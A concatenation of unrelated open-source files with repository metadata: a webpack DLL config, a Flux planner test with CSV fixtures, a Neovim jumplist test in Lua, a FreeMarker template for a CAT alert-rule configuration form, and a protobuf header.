| Groovy Server Pages | 3 | Threadless/asgard | grails-app/views/hostedZone/prepareResourceRecordSet.gsp | [
"Apache-2.0"
] |
var path = require("path");
var webpack = require("../../");
module.exports = {
// mode: "development || "production",
plugins: [
new webpack.DllReferencePlugin({
context: path.join(__dirname, "..", "dll"),
manifest: require("../dll/dist/alpha-manifest.json") // eslint-disable-line
}),
new webpack.DllReferencePlugin({
scope: "beta",
manifest: require("../dll/dist/beta-manifest.json"), // eslint-disable-line
extensions: [".js", ".jsx"]
})
]
};
| JavaScript | 3 | 1shenxi/webpack | examples/dll-user/webpack.config.js | [
"MIT"
] |
package planner_test
import "testing"
import "planner"
inData =
"
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,dateTime:RFC3339,string,string,string,string,double
#group,false,false,false,false,false,true,true,true,true,false
#default,_result,,,,,,,,,
,result,table,_time,_start,_stop,_measurement,_field,t0,t1,_value
,,0,2019-11-25T00:00:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,1.0
,,0,2019-11-25T00:00:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,2.0
,,0,2019-11-25T00:00:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,3.0
,,0,2019-11-25T00:00:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,4.0
,,0,2019-11-25T00:00:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,1.0
,,0,2019-11-25T00:00:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,2.0
,,0,2019-11-25T00:01:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,3.0
,,0,2019-11-25T00:01:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,4.0
,,0,2019-11-25T00:01:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,1.0
,,0,2019-11-25T00:01:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,2.0
,,0,2019-11-25T00:01:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,3.0
,,0,2019-11-25T00:01:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-0,4.0
,,1,2019-11-25T00:00:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,5.0
,,1,2019-11-25T00:00:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,6.0
,,1,2019-11-25T00:00:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,7.0
,,1,2019-11-25T00:00:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,8.0
,,1,2019-11-25T00:00:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,5.0
,,1,2019-11-25T00:00:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,6.0
,,1,2019-11-25T00:01:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,7.0
,,1,2019-11-25T00:01:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,8.0
,,1,2019-11-25T00:01:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,5.0
,,1,2019-11-25T00:01:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,6.0
,,1,2019-11-25T00:01:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,7.0
,,1,2019-11-25T00:01:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-0,b-1,8.0
,,2,2019-11-25T00:00:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,1.0
,,2,2019-11-25T00:00:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,2.0
,,2,2019-11-25T00:00:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,3.0
,,2,2019-11-25T00:00:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,4.0
,,2,2019-11-25T00:00:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,1.0
,,2,2019-11-25T00:00:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,2.0
,,2,2019-11-25T00:01:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,3.0
,,2,2019-11-25T00:01:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,4.0
,,2,2019-11-25T00:01:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,1.0
,,2,2019-11-25T00:01:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,2.0
,,2,2019-11-25T00:01:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,3.0
,,2,2019-11-25T00:01:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-0,4.0
,,3,2019-11-25T00:00:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,5.0
,,3,2019-11-25T00:00:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,6.0
,,3,2019-11-25T00:00:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,7.0
,,3,2019-11-25T00:00:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,8.0
,,3,2019-11-25T00:00:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,5.0
,,3,2019-11-25T00:00:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,6.0
,,3,2019-11-25T00:01:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,7.0
,,3,2019-11-25T00:01:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,8.0
,,3,2019-11-25T00:01:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,5.0
,,3,2019-11-25T00:01:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,6.0
,,3,2019-11-25T00:01:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,7.0
,,3,2019-11-25T00:01:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-1,b-1,8.0
,,4,2019-11-25T00:00:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,1.0
,,4,2019-11-25T00:00:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,2.0
,,4,2019-11-25T00:00:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,3.0
,,4,2019-11-25T00:00:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,4.0
,,4,2019-11-25T00:00:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,1.0
,,4,2019-11-25T00:00:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,2.0
,,4,2019-11-25T00:01:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,3.0
,,4,2019-11-25T00:01:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,4.0
,,4,2019-11-25T00:01:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,1.0
,,4,2019-11-25T00:01:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,2.0
,,4,2019-11-25T00:01:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,3.0
,,4,2019-11-25T00:01:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-0,4.0
,,5,2019-11-25T00:00:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,5.0
,,5,2019-11-25T00:00:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,6.0
,,5,2019-11-25T00:00:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,7.0
,,5,2019-11-25T00:00:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,8.0
,,5,2019-11-25T00:00:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,5.0
,,5,2019-11-25T00:00:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,6.0
,,5,2019-11-25T00:01:00Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,7.0
,,5,2019-11-25T00:01:10Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,8.0
,,5,2019-11-25T00:01:20Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,5.0
,,5,2019-11-25T00:01:30Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,6.0
,,5,2019-11-25T00:01:40Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,7.0
,,5,2019-11-25T00:01:50Z,2019-11-25T00:00:00Z,2030-01-01T00:00:00Z,m0,f0,a-2,b-1,8.0
"
testcase group_min_table {
result =
testing.loadStorage(csv: inData)
|> range(start: 2019-11-25T00:00:00Z, stop: 2030-01-01T00:00:00Z)
|> group(columns: ["t0"])
|> min()
|> drop(columns: ["_start", "_stop"])
out_min_table =
"
#datatype,string,long,dateTime:RFC3339,string,string,string,string,double
#group,false,false,false,false,false,true,false,false
#default,_result,,,,,,,
,result,table,_time,_measurement,_field,t0,t1,_value
,,0,2019-11-25T00:00:00Z,m0,f0,a-0,b-0,1.0
,,1,2019-11-25T00:00:00Z,m0,f0,a-1,b-0,1.0
,,2,2019-11-25T00:00:00Z,m0,f0,a-2,b-0,1.0
"
testing.diff(got: result, want: testing.loadMem(csv: out_min_table)) |> yield()
}
testcase group_max_table {
result =
testing.loadStorage(csv: inData)
|> range(start: 2019-11-25T00:00:00Z, stop: 2030-01-01T00:00:00Z)
|> group(columns: ["t0"])
|> max()
|> drop(columns: ["_start", "_stop"])
out_max_table =
"
#datatype,string,long,dateTime:RFC3339,string,string,string,string,double
#group,false,false,false,false,false,true,false,false
#default,_result,,,,,,,
,result,table,_time,_measurement,_field,t0,t1,_value
,,0,2019-11-25T00:00:30Z,m0,f0,a-0,b-1,8.0
,,1,2019-11-25T00:00:30Z,m0,f0,a-1,b-1,8.0
,,2,2019-11-25T00:00:30Z,m0,f0,a-2,b-1,8.0
"
testing.diff(got: result, want: testing.loadMem(csv: out_max_table)) |> yield()
}
testcase group_no_agg_table {
result =
testing.loadStorage(csv: inData)
|> range(start: 2019-11-25T00:00:00Z, stop: 2030-01-01T00:00:00Z)
|> group(columns: ["t0"])
|> drop(columns: ["_start", "_stop"])
|> sort(columns: ["t1", "_time"])
out_no_agg_table =
"
#datatype,string,long,dateTime:RFC3339,string,string,string,string,double
#group,false,false,false,false,false,true,false,false
#default,_result,,,,,,,
,result,table,_time,_measurement,_field,t0,t1,_value
,,0,2019-11-25T00:00:00Z,m0,f0,a-0,b-0,1.0
,,0,2019-11-25T00:00:10Z,m0,f0,a-0,b-0,2.0
,,0,2019-11-25T00:00:20Z,m0,f0,a-0,b-0,3.0
,,0,2019-11-25T00:00:30Z,m0,f0,a-0,b-0,4.0
,,0,2019-11-25T00:00:40Z,m0,f0,a-0,b-0,1.0
,,0,2019-11-25T00:00:50Z,m0,f0,a-0,b-0,2.0
,,0,2019-11-25T00:01:00Z,m0,f0,a-0,b-0,3.0
,,0,2019-11-25T00:01:10Z,m0,f0,a-0,b-0,4.0
,,0,2019-11-25T00:01:20Z,m0,f0,a-0,b-0,1.0
,,0,2019-11-25T00:01:30Z,m0,f0,a-0,b-0,2.0
,,0,2019-11-25T00:01:40Z,m0,f0,a-0,b-0,3.0
,,0,2019-11-25T00:01:50Z,m0,f0,a-0,b-0,4.0
,,0,2019-11-25T00:00:00Z,m0,f0,a-0,b-1,5.0
,,0,2019-11-25T00:00:10Z,m0,f0,a-0,b-1,6.0
,,0,2019-11-25T00:00:20Z,m0,f0,a-0,b-1,7.0
,,0,2019-11-25T00:00:30Z,m0,f0,a-0,b-1,8.0
,,0,2019-11-25T00:00:40Z,m0,f0,a-0,b-1,5.0
,,0,2019-11-25T00:00:50Z,m0,f0,a-0,b-1,6.0
,,0,2019-11-25T00:01:00Z,m0,f0,a-0,b-1,7.0
,,0,2019-11-25T00:01:10Z,m0,f0,a-0,b-1,8.0
,,0,2019-11-25T00:01:20Z,m0,f0,a-0,b-1,5.0
,,0,2019-11-25T00:01:30Z,m0,f0,a-0,b-1,6.0
,,0,2019-11-25T00:01:40Z,m0,f0,a-0,b-1,7.0
,,0,2019-11-25T00:01:50Z,m0,f0,a-0,b-1,8.0
,,1,2019-11-25T00:00:00Z,m0,f0,a-1,b-0,1.0
,,1,2019-11-25T00:00:10Z,m0,f0,a-1,b-0,2.0
,,1,2019-11-25T00:00:20Z,m0,f0,a-1,b-0,3.0
,,1,2019-11-25T00:00:30Z,m0,f0,a-1,b-0,4.0
,,1,2019-11-25T00:00:40Z,m0,f0,a-1,b-0,1.0
,,1,2019-11-25T00:00:50Z,m0,f0,a-1,b-0,2.0
,,1,2019-11-25T00:01:00Z,m0,f0,a-1,b-0,3.0
,,1,2019-11-25T00:01:10Z,m0,f0,a-1,b-0,4.0
,,1,2019-11-25T00:01:20Z,m0,f0,a-1,b-0,1.0
,,1,2019-11-25T00:01:30Z,m0,f0,a-1,b-0,2.0
,,1,2019-11-25T00:01:40Z,m0,f0,a-1,b-0,3.0
,,1,2019-11-25T00:01:50Z,m0,f0,a-1,b-0,4.0
,,1,2019-11-25T00:00:00Z,m0,f0,a-1,b-1,5.0
,,1,2019-11-25T00:00:10Z,m0,f0,a-1,b-1,6.0
,,1,2019-11-25T00:00:20Z,m0,f0,a-1,b-1,7.0
,,1,2019-11-25T00:00:30Z,m0,f0,a-1,b-1,8.0
,,1,2019-11-25T00:00:40Z,m0,f0,a-1,b-1,5.0
,,1,2019-11-25T00:00:50Z,m0,f0,a-1,b-1,6.0
,,1,2019-11-25T00:01:00Z,m0,f0,a-1,b-1,7.0
,,1,2019-11-25T00:01:10Z,m0,f0,a-1,b-1,8.0
,,1,2019-11-25T00:01:20Z,m0,f0,a-1,b-1,5.0
,,1,2019-11-25T00:01:30Z,m0,f0,a-1,b-1,6.0
,,1,2019-11-25T00:01:40Z,m0,f0,a-1,b-1,7.0
,,1,2019-11-25T00:01:50Z,m0,f0,a-1,b-1,8.0
,,2,2019-11-25T00:00:00Z,m0,f0,a-2,b-0,1.0
,,2,2019-11-25T00:00:10Z,m0,f0,a-2,b-0,2.0
,,2,2019-11-25T00:00:20Z,m0,f0,a-2,b-0,3.0
,,2,2019-11-25T00:00:30Z,m0,f0,a-2,b-0,4.0
,,2,2019-11-25T00:00:40Z,m0,f0,a-2,b-0,1.0
,,2,2019-11-25T00:00:50Z,m0,f0,a-2,b-0,2.0
,,2,2019-11-25T00:01:00Z,m0,f0,a-2,b-0,3.0
,,2,2019-11-25T00:01:10Z,m0,f0,a-2,b-0,4.0
,,2,2019-11-25T00:01:20Z,m0,f0,a-2,b-0,1.0
,,2,2019-11-25T00:01:30Z,m0,f0,a-2,b-0,2.0
,,2,2019-11-25T00:01:40Z,m0,f0,a-2,b-0,3.0
,,2,2019-11-25T00:01:50Z,m0,f0,a-2,b-0,4.0
,,2,2019-11-25T00:00:00Z,m0,f0,a-2,b-1,5.0
,,2,2019-11-25T00:00:10Z,m0,f0,a-2,b-1,6.0
,,2,2019-11-25T00:00:20Z,m0,f0,a-2,b-1,7.0
,,2,2019-11-25T00:00:30Z,m0,f0,a-2,b-1,8.0
,,2,2019-11-25T00:00:40Z,m0,f0,a-2,b-1,5.0
,,2,2019-11-25T00:00:50Z,m0,f0,a-2,b-1,6.0
,,2,2019-11-25T00:01:00Z,m0,f0,a-2,b-1,7.0
,,2,2019-11-25T00:01:10Z,m0,f0,a-2,b-1,8.0
,,2,2019-11-25T00:01:20Z,m0,f0,a-2,b-1,5.0
,,2,2019-11-25T00:01:30Z,m0,f0,a-2,b-1,6.0
,,2,2019-11-25T00:01:40Z,m0,f0,a-2,b-1,7.0
,,2,2019-11-25T00:01:50Z,m0,f0,a-2,b-1,8.0
"
testing.diff(got: result, want: testing.loadMem(csv: out_no_agg_table)) |> yield()
}
| FLUX | 4 | metrico/flux | stdlib/planner/group_min_max_table_test.flux | [
"MIT"
] |
local helpers = require('test.functional.helpers')(after_each)
local clear = helpers.clear
local command = helpers.command
local eq = helpers.eq
local funcs = helpers.funcs
local feed = helpers.feed
local exec_capture = helpers.exec_capture
local write_file = helpers.write_file
describe('jumplist', function()
local fname1 = 'Xtest-functional-normal-jump'
local fname2 = fname1..'2'
before_each(clear)
after_each(function()
os.remove(fname1)
os.remove(fname2)
end)
it('does not add a new entry on startup', function()
eq('\n jump line col file/text\n>', funcs.execute('jumps'))
end)
it('does not require two <C-O> strokes to jump back', function()
write_file(fname1, 'first file contents')
write_file(fname2, 'second file contents')
command('args '..fname1..' '..fname2)
local buf1 = funcs.bufnr(fname1)
local buf2 = funcs.bufnr(fname2)
command('next')
feed('<C-O>')
eq(buf1, funcs.bufnr('%'))
command('first')
command('snext')
feed('<C-O>')
eq(buf1, funcs.bufnr('%'))
feed('<C-I>')
eq(buf2, funcs.bufnr('%'))
feed('<C-O>')
eq(buf1, funcs.bufnr('%'))
command('drop '..fname2)
feed('<C-O>')
eq(buf1, funcs.bufnr('%'))
end)
end)
describe("jumpoptions=stack behaves like 'tagstack'", function()
before_each(function()
clear()
feed(':clearjumps<cr>')
-- Add lines so that we have locations to jump to.
for i = 1,101,1
do
feed('iLine ' .. i .. '<cr><esc>')
end
-- Jump around to add some locations to the jump list.
feed('0gg')
feed('10gg')
feed('20gg')
feed('30gg')
feed('40gg')
feed('50gg')
feed(':set jumpoptions=stack<cr>')
end)
after_each(function()
feed('set jumpoptions=')
end)
it('discards the tail when navigating from the middle', function()
feed('<C-O>')
feed('<C-O>')
eq( ''
.. ' jump line col file/text\n'
.. ' 4 102 0 \n'
.. ' 3 1 0 Line 1\n'
.. ' 2 10 0 Line 10\n'
.. ' 1 20 0 Line 20\n'
.. '> 0 30 0 Line 30\n'
.. ' 1 40 0 Line 40\n'
.. ' 2 50 0 Line 50',
exec_capture('jumps'))
feed('90gg')
eq( ''
.. ' jump line col file/text\n'
.. ' 5 102 0 \n'
.. ' 4 1 0 Line 1\n'
.. ' 3 10 0 Line 10\n'
.. ' 2 20 0 Line 20\n'
.. ' 1 30 0 Line 30\n'
.. '>',
exec_capture('jumps'))
end)
it('does not add the same location twice adjacently', function()
feed('60gg')
feed('60gg')
eq( ''
.. ' jump line col file/text\n'
.. ' 7 102 0 \n'
.. ' 6 1 0 Line 1\n'
.. ' 5 10 0 Line 10\n'
.. ' 4 20 0 Line 20\n'
.. ' 3 30 0 Line 30\n'
.. ' 2 40 0 Line 40\n'
.. ' 1 50 0 Line 50\n'
.. '>',
exec_capture('jumps'))
end)
it('does add the same location twice nonadjacently', function()
feed('10gg')
feed('20gg')
eq( ''
.. ' jump line col file/text\n'
.. ' 8 102 0 \n'
.. ' 7 1 0 Line 1\n'
.. ' 6 10 0 Line 10\n'
.. ' 5 20 0 Line 20\n'
.. ' 4 30 0 Line 30\n'
.. ' 3 40 0 Line 40\n'
.. ' 2 50 0 Line 50\n'
.. ' 1 10 0 Line 10\n'
.. '>',
exec_capture('jumps'))
end)
end)
| Lua | 4 | uga-rosa/neovim | test/functional/editor/jump_spec.lua | [
"Vim"
] |
<link rel="stylesheet" href="/cat/css/introjs.css">
<script src="/cat/js/intro.js"></script>
<style>
.metric,
.subCondition {
margin-bottom: 5px;
}
.condition,
.config
{
margin-bottom: 10px;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 6px;
box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
margin-left: 20px;
margin-top:4px;
padding:4px 4px 4px 4px;
}
input[type="text"]{
margin-bottom : 0px;
}
</style>
<div id="configs">
<div class="config" id="configSample">
<p class="text-success text-center">监控规则配置 <i tips="" data-trigger="hover" class="glyphicon glyphicon-question-sign" data-toggle="popover" data-placement="left" data-content="监控规则代表一个时间段的规则配置。其下的任意一条监控条件触发则报警"></i>
<button class="btn btn-success btn-xs" id="add-config-button" type="button">
添加监控规则<i class="icon-plus icon-white"></i>
</button>
</p>
<div class="configDuration">
监控开始时间：<input name="startMinute" class="startMinute input-small" value="00:00" type=" text" placeholder="格式如 00:00"/>
监控结束时间：<input name="endMinute" class="endMinute input-small" value="24:00" type=" text" placeholder="格式如 24:00"/>
</div>
<div class="condition">
<p class="text-center text-success">监控条件 <i tips="" data-trigger="hover" class="glyphicon glyphicon-question-sign" data-toggle="popover" data-placement="left" data-content="监控条件由子条件组成。当其下的全部子条件都被触发时该监控条件才被触发。监控条件之间是并行的关系。"></i></p>
聚合间隔：<input name="configInterval" class="configInterval input-mini" type="text"/>
持续间隔：<input name="configDuration" class="configDuration input-mini" type="text"/>
告警级别：
<select name="level" class="level span2">
<option value="warning">warning</option>
<option value="error">error</option>
</select>
<br>
<p class="text-success">子条件<span class="text-error">【必须全部满足才触发告警】</span></p>
<div class="subconditions">
<div class="subCondition">
规则类型：
<select name="ruleType" class="ruleType">
<option value="DescVal">下降值(比基线)</option>
<option value="DescPer">下降百分比(比基线)</option>
<option value="AscVal">上升值(比基线)</option>
<option value="AscPer">上升百分比(比基线)</option>
<option value="MaxVal">最大值(当前值)</option>
<option value="MinVal">最小值(当前值)</option>
<option value="FluAscPer">波动上升百分比(当前值)</option>
<option value="FluDescPer">波动下降百分比(当前值)</option>
<option value="SumMaxVal">总和最大值(当前值)</option>
<option value="SumMinVal">总和最小值(当前值)</option>
</select>
阈值：<input name="value" class="value input-mini" type="text"/>
<button class="btn btn-danger btn-xs delete-subcondition-button" type="button">
删除子条件<i class="icon-trash icon-white"></i>
</button>
</div>
</div>
<button class="btn btn-success btn-xs add-subCondition-button" type="button">
添加子条件<i class="icon-plus icon-white"></i>
</button>
<button class="btn btn-danger btn-xs delete-condition-button" type="button">
删除监控条件<i class="icon-trash icon-white"></i>
</button>
<button class="btn btn-info btn-xs define-button" type="button">
自定义监控规则<i class="icon-user icon-white"></i>
</button>
</div>
<button class="btn btn-success btn-xs add-condition-button" type="button">
添加监控条件<i class="icon-plus icon-white"></i>
</button>
<button class="btn btn-danger btn-xs delete-config-button" type="button">
删除监控规则<i class="icon-trash icon-white"></i>
</button>
</div>
</div>
<script>
function initRuleConfigs(filterList) {
if(filterList != null){
var ruleType = $('.ruleType').eq(0);
for(c in filterList){
var item = filterList[c];
var domItem = ruleType.find('option[value="'+item+'"]');
domItem.remove();
}
}
newSubCondition = $('.subCondition').eq(0).clone();
newCondition = $('.condition').eq(0).clone();
newConfig = $('#configSample').clone();
newUserDefineCondition = $(".subCondition").last().clone();
newUserDefineCondition.css('display','block');
$('i[tips]').popover();
$("#configs").delegate(".add-subCondition-button", "click", function () {
addSubCondition($(this), newSubCondition);
})
$("#configs").delegate(".add-condition-button", "click", function () {
addCondition($(this), newCondition);
$('i[tips]').popover();
})
$("#configs").delegate("#add-config-button","click", function () {
addConfig(newConfig);
$('i[tips]').popover();
})
$("#configs").delegate(".define-button","click", function () {
changeToUserDefine($(this));
})
$("#configs").delegate(".delete-condition-button, .delete-subcondition-button, .delete-config-button", "click", function () {
$(this).parent().remove();
})
drawConfigs();
initIntro();
}
function addSubCondition(currentElement, newSubCondition){
currentElement.prev().append(newSubCondition.clone());
}
function addCondition(currentElement, newCondition){
currentElement.before(newCondition.clone());
}
function addConfig(newConfig){
$('#configs').append(newConfig.clone());
}
function changeToUserDefine(currentElement){
var parentNode = currentElement.parent();
var subChilds = parentNode.children('.subconditions');
subChilds.empty();
subChilds.append(newUserDefineCondition.clone());
var addSubConditionButton = parentNode.children('.add-subCondition-button');
var userDefineButton = parentNode.children('.define-button');
addSubConditionButton.addClass('disabled');
userDefineButton.addClass('disabled');
addSubConditionButton.off('click');
userDefineButton.off('click');
}
function initIntro(){
var context = $("#configSample").first();
var startButton = $('<button class="btn btn-info btn-xs help" type="button">如何使用?</button>');
context.find("button").first().after(startButton);
context.find(".configDuration").first().attr("data-step","1").attr("data-intro","定义一个时间段。一个时间段下可以有多个监控条件，只要有一个条件被触发，cat就会发出告警");
context.find(".condition").first().attr("data-step","2").attr("data-intro","这是一个监控条件。可以由多个子条件构成。只有当该条件下的所有子条件同时触发，该条件才被触发");
context.find(".configInterval").first().attr("data-step","3").attr("data-intro","设置监控条件的聚合间隔");
context.find(".configDuration").first().attr("data-step","3").attr("data-intro","设置监控条件的持续间隔");
context.find("[name='level']").first().attr("data-step","4").attr("data-intro","设置监控条件的告警级别<br/>(可与告警策略配合使用。告警策略可以配置某个级别的发送途径、暂停时间、恢复时间)");
context.find(".subconditions").first().attr("data-step","5").attr("data-intro","这是子条件");
context.find(".add-subCondition-button").first().attr("data-step","6").attr("data-intro","点击这里，可以新增子条件");
context.find(".add-condition-button").first().attr("data-step","7").attr("data-intro","点击这里，可以新增一个条件");
context.find("#add-config-button").first().attr("data-step","8").attr("data-intro","想增加一个时间段的监控规则？点击这里");
context.attr("data-step","9").attr("data-intro","依然有疑问？请点击 <a href='/cat/r/home?op=view&docName=alert'>这里</a>");
$(".help").click(function(){
introJs().start();
});
}
function drawConfigs() {
var configsText = '${configs}';
var configs = null;
if(configsText == undefined || configsText == ""){
return;
}
try {
configs = JSON.parse(configsText);
} catch (e) {
alert("读取规则错误！请刷新重试或联系jialin.sun@dianping.com");
console.log(configsText);
return;
}
if (configs != undefined) {
for (count in configs) {
var config = configs[count];
if (count > 0) {
addConfig(newConfig);
}
var configForm = $(".config").last();
var starttime = config["start-time"];
var endtime = config["end-time"];
var conditions = config["conditions"];
if (starttime) {
configForm.find(".startMinute").val(starttime);
}
if (endtime) {
configForm.find(".endMinute").val(endtime);
}
if (conditions) {
for (c in conditions) {
var condition = conditions[c];
var interval = condition["interval"];
var duration = condition["duration"];
var level = condition["alert-type"];
var subconditions = condition["sub-conditions"];
if (c > 0) {
addCondition(configForm.find(".add-condition-button"), newCondition);
}
var conditionForm = configForm.find(".condition").last();
if (interval) {
conditionForm.find(".configInterval").val(interval);
}
if (duration) {
conditionForm.find(".configDuration").val(duration);
}
if (level) {
conditionForm.find(".level").val(level);
}
if (subconditions) {
for (cou in subconditions) {
var subcondition = subconditions[cou];
var type = subcondition["type"];
var value = subcondition["value"];
if(type=="UserDefine"){
changeToUserDefine(conditionForm.find(".add-subCondition-button"));
conditionForm.find(".value").val(value);
break;
}
if (cou > 0) {
addSubCondition(conditionForm.find(".add-subCondition-button"), newSubCondition);
}
var subconditionFrom = conditionForm.find(".subCondition").last();
if (type) {
subconditionFrom.find("option[value='" + type + "']").prop("selected", "selected");
}
if (value != undefined) {
subconditionFrom.find(".value").val(value);
}
}
}
}
}
}
}
}
function generateConfigsJsonString() {
var configLength = $(".config").length;
if (configLength > 0) {
var configList = [];
$(".config").each(function () {
var config = {};
var conditionList = [];
var conditions = $(this).find(".condition");
conditions.each(function () {
var subconditions = [];
$(this).find(".subCondition").each(function () {
var ruleType = $(this).find(".ruleType").val();
var ruleValue = $(this).find(".value").val();
if (ruleType != "" && ruleValue != "") {
var subcondition = {};
subcondition["type"] = ruleType;
subcondition["value"] = ruleValue;
subconditions.push(subcondition);
}
})
if (subconditions.length > 0) {
var condition = {}
var interval = $(this).find(".configInterval").val();
var duration = $(this).find(".configDuration").val();
var alertType = $(this).find(".level").val();
condition["sub-conditions"] = subconditions;
if (interval != "") {
condition["interval"] = interval;
}
if (duration != "") {
condition["duration"] = duration;
}
if (alertType != "") {
condition["alert-type"] = alertType;
}
conditionList.push(condition);
}
})
if (conditionList.length > 0) {
config["conditions"] = conditionList;
var starttime = $(this).find(".startMinute").val();
var endtime = $(this).find(".endMinute").val();
if (starttime != "") {
config["start-time"] = starttime;
} else{
config["start-time"] = "00:00";
}
if (endtime != "") {
config["end-time"] = endtime;
} else{
config["end-time"] = "24:00";
}
configList.push(config);
}
})
if (configList.length > 0) {
return JSON.stringify(configList);
}else {
return "";
}
}
return "";
}
</script> | FreeMarker | 4 | woozhijun/cat | cat-home/src/main/resources/freemaker/server_rule_configs.ftl | [
"Apache-2.0"
] |
syntax = "proto3";
package tensorflow.serving;
